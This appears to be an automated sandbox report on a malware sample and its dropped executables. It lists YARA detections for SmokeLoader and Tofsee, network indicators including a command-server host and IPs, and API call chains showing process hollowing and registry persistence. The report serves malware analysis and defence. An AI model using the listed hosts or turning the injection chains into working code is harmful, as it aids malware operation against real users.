Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://tohbexyqd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 157Host: host-data-coin-11.com

Source: unknown	HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.3:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.3:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.38.221:443 -> 192.168.2.3:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.3:49904 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 3.1.PPsa8TXVuy.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.PPsa8TXVuy.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.fjsvubj.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.PPsa8TXVuy.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.B55D.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.B55D.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PPsa8TXVuy.exe.5315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.B55D.exe.6415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.PPsa8TXVuy.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.1.B55D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.B55D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.B55D.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.PPsa8TXVuy.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.1.fjsvubj.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.fjsvubj.4615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.335338830.0000000002E11000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.405483918.0000000000570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.348249528.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.348386960.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.405522492.0000000000591000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.422155838.0000000002091000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.421814485.0000000000540000.00000004.00000001.sdmp, type: MEMORY

Source: PPsa8TXVuy.exe, 00000001.00000002.295791731.00000000007FA000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands:

Yara detected Tofsee

Show sources

Source: Yara match	File source: 22.2.BE39.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.BE39.exe.640e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.3.BE39.exe.660000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.BE39.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.416092673.0000000000660000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BE39.exe PID: 6616, type: MEMORYSTR

System Summary:

PE file has nameless sections

Show sources

Source: 50F8.exe.6.dr	Static PE information: section name:
Source: 50F8.exe.6.dr	Static PE information: section name:
Source: 50F8.exe.6.dr	Static PE information: section name:
Source: 50F8.exe.6.dr	Static PE information: section name:
Source: 50F8.exe.6.dr	Static PE information: section name:
Source: 50F8.exe.6.dr	Static PE information: section name:

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 4852 -ip 4852

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 1_2_004100FB	1_2_004100FB
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 1_2_00411D61	1_2_00411D61
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 1_2_00411125	1_2_00411125
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 1_2_00411669	1_2_00411669
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 1_2_004046DE	1_2_004046DE
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 1_2_00410BE1	1_2_00410BE1
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 1_2_00412BF3	1_2_00412BF3
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_2_00402A5F	3_2_00402A5F
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_2_00402AB3	3_2_00402AB3
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_1_00402A5F	3_1_00402A5F
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_1_00402AB3	3_1_00402AB3
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 10_2_00463253	10_2_00463253
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 10_2_004631FF	10_2_004631FF
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 11_2_00402A5F	11_2_00402A5F
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 11_2_00402AB3	11_2_00402AB3
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Code function: 12_2_004027CA	12_2_004027CA
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Code function: 12_2_00401FF1	12_2_00401FF1
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Code function: 12_2_0040158E	12_2_0040158E
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Code function: 12_2_004015A6	12_2_004015A6
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Code function: 12_2_004015BC	12_2_004015BC
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Code function: 12_2_00411065	12_2_00411065
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Code function: 12_2_00412A02	12_2_00412A02
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Code function: 12_2_0040CAC5	12_2_0040CAC5
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Code function: 12_2_00410B21	12_2_00410B21
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Code function: 12_2_004115A9	12_2_004115A9
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Code function: 12_2_0060160C	12_2_0060160C
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Code function: 12_2_006015F6	12_2_006015F6
Source: C:\Users\user\AppData\Local\Temp\A975.exe	Code function: 12_2_006015DE	12_2_006015DE
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 14_2_0042B150	14_2_0042B150
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 14_2_0042A370	14_2_0042A370
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 14_2_00424E40	14_2_00424E40
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_2_00402A5F	19_2_00402A5F
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_2_00402AB3	19_2_00402AB3
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_1_00402A5F	19_1_00402A5F
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_1_00402B2E	19_1_00402B2E
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00410800	20_2_00410800
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00411280	20_2_00411280
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_004103F0	20_2_004103F0
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_004109F0	20_2_004109F0
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00580A50	20_2_00580A50
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00580640	20_2_00580640
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00580C40	20_2_00580C40
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_005814D0	20_2_005814D0
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Code function: 22_2_0040C913	22_2_0040C913
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Code function: 22_2_00425100	22_2_00425100
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Code function: 22_2_0042B410	22_2_0042B410
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Code function: 22_2_0042A630	22_2_0042A630
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_01802F5F	25_2_01802F5F
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_018096F0	25_2_018096F0
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_01802A61	25_2_01802A61
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_01800462	25_2_01800462
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_01800470	25_2_01800470
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_01800B7A	25_2_01800B7A
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_05561810	25_2_05561810
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_055653F8	25_2_055653F8
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_05560448	25_2_05560448
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_05562E48	25_2_05562E48
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_0557AD68	25_2_0557AD68
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_05571528	25_2_05571528
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_0557A430	25_2_0557A430
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_05572C88	25_2_05572C88
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_05574758	25_2_05574758
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_055708B0	25_2_055708B0
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Code function: 25_2_055790D3	25_2_055790D3

Source: C:\Users\user\AppData\Local\Temp\BE39.exe

Code function: 22_2_00401280 ShellExecuteExW,lstrlenW,GetStartupInfoW,CreateProcessWithLogonW,WaitForSingleObject,CloseHandle,CloseHandle,GetLastError,GetLastError,

22_2_00401280

Source: PPsa8TXVuy.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: PPsa8TXVuy.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: PPsa8TXVuy.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: PPsa8TXVuy.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 1F56.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 1F56.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 1F56.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 36F6.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 36F6.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 36F6.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 36F6.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A975.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A975.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A975.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B55D.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B55D.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B55D.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: B55D.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C29C.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C29C.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C29C.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C29C.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BE39.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BE39.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BE39.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: BE39.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 5BB7.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 5BB7.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 5BB7.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 66D4.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: fjsvubj.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: fjsvubj.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: fjsvubj.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: fjsvubj.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: qsflslyl.exe.22.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: qsflslyl.exe.22.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: qsflslyl.exe.22.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: qsflslyl.exe.22.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\AppData\Local\Temp\CBE6.exe

Section loaded: mscorjit.dll

Jump to behavior

Source: PPsa8TXVuy.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\fwpgxpnt\

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: String function: 004048D0 appears 460 times
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Code function: String function: 0041E5D0 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Code function: String function: 0040EE2A appears 40 times
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Code function: String function: 00642794 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Code function: String function: 00402544 appears 53 times
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: String function: 00422BB0 appears 133 times
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: String function: 0041E330 appears 172 times
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: String function: 00404CA4 appears 43 times

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_2_00401962 Sleep,NtTerminateProcess,	3_2_00401962
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_2_0040196D Sleep,NtTerminateProcess,	3_2_0040196D
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_2_00402000
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	3_2_0040250A
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_2_00401A0B NtTerminateProcess,	3_2_00401A0B
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_2_0040201A
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_2_0040201E
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_2_0040202D
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_2_00402084 LocalAlloc,NtQuerySystemInformation,	3_2_00402084
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_2_00402491 NtOpenKey,	3_2_00402491
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_1_00402000
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	3_1_0040250A
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_1_0040201A
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_1_0040201E
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_1_0040202D
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_1_00402084 LocalAlloc,NtQuerySystemInformation,	3_1_00402084
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Code function: 3_1_00402491 NtOpenKey,	3_1_00402491
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 10_2_00460110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	10_2_00460110
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 11_2_00401962 Sleep,NtTerminateProcess,	11_2_00401962
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 11_2_0040196D Sleep,NtTerminateProcess,	11_2_0040196D
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 11_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	11_2_00402000
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 11_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	11_2_0040250A
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 11_2_00401A0B NtTerminateProcess,	11_2_00401A0B
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 11_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	11_2_0040201A
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 11_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	11_2_0040201E
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 11_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	11_2_0040202D
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 11_2_00402084 LocalAlloc,NtQuerySystemInformation,	11_2_00402084
Source: C:\Users\user\AppData\Roaming\fjsvubj	Code function: 11_2_00402491 NtOpenKey,	11_2_00402491
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_2_00401962 Sleep,NtTerminateProcess,	19_2_00401962
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_2_0040196D Sleep,NtTerminateProcess,	19_2_0040196D
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	19_2_00402000
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	19_2_0040250A
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_2_00401A0B NtTerminateProcess,	19_2_00401A0B
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	19_2_0040201A
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	19_2_0040201E
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	19_2_0040202D
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_2_00402084 LocalAlloc,NtQuerySystemInformation,	19_2_00402084
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_2_00402491 NtOpenKey,	19_2_00402491
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	19_1_00402000
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	19_1_0040250A
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	19_1_0040201A
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	19_1_0040201E
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	19_1_0040202D
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_1_00402084 LocalAlloc,NtQuerySystemInformation,	19_1_00402084
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 19_1_00402491 NtOpenKey,	19_1_00402491
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Code function: 22_2_00401820 GetCurrentProcess,NtQueryInformationToken,	22_2_00401820

Source: C:\Users\user\AppData\Local\Temp\BE39.exe

Code function: 22_2_00408E26: CreateFileW,DeviceIoControl,CloseHandle,

22_2_00408E26

Source: PPsa8TXVuy.exe	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 1F56.exe.6.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: A975.exe.6.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 5BB7.exe.6.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: fjsvubj.6.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: 50F8.exe.6.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: 4186.exe.6.dr	Static PE information: Section: .rsrc ZLIB complexity 0.997770524618
Source: 50F8.exe.6.dr	Static PE information: Section: ZLIB complexity 1.00044194799
Source: 50F8.exe.6.dr	Static PE information: Section: ZLIB complexity 1.00537109375
Source: 66D4.exe.6.dr	Static PE information: Section: .didata ZLIB complexity 0.999523355577
Source: 7C90.exe.6.dr	Static PE information: Section: .rsrc ZLIB complexity 0.996205570134

Source: PPsa8TXVuy.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\BE39.exe

Evasive API call chain: GetCommandLine,DecisionNodes,ExitProcess

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\fjsvubj

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@40/25@93/12

Source: C:\Users\user\AppData\Local\Temp\BE39.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\BE39.exe

Code function: 22_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,

22_2_00409A6B

